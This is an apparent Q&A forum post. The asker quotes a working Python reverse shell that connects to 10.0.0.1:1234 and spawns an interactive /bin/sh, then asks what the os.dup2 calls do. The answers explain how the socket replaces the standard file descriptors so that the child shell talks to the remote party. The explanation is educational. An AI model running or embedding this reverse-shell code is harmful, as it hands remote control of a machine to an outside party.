import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
I Know this creates a TCP socket that connects to 10.0.0.1 on port 1234. I have a question though.
What do the os.dup2()s do in this case? I know they have to do with file descriptors and that 0 is STDIN, 1 is STDOUT and 2 is STDERR, but I don't know what that does here.
It redirects the socket to/from stdin/stdout/stderr in a way that's preserved for subprocesses. I.e., when the code executes /bin/sh the shell inherits the redirections and communicates with the remote user via the socket (without even knowing it).
See os docs.
As phd commented above, once the TCP ip4 socket is created and establishes a connection on the remote ip and port, the os.dup2() calls the system call dup2() to create brand new file descriptors, destroying the original old ones, those brand new file descriptors will be passed into the subshell created by the subprocess statement, so that way the interactive shell will get the fd 0 1 2 from the socket.
If you see the process tree you'll see "/bin/sh -i" is a "subprocess" of the parent process running the socket.

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With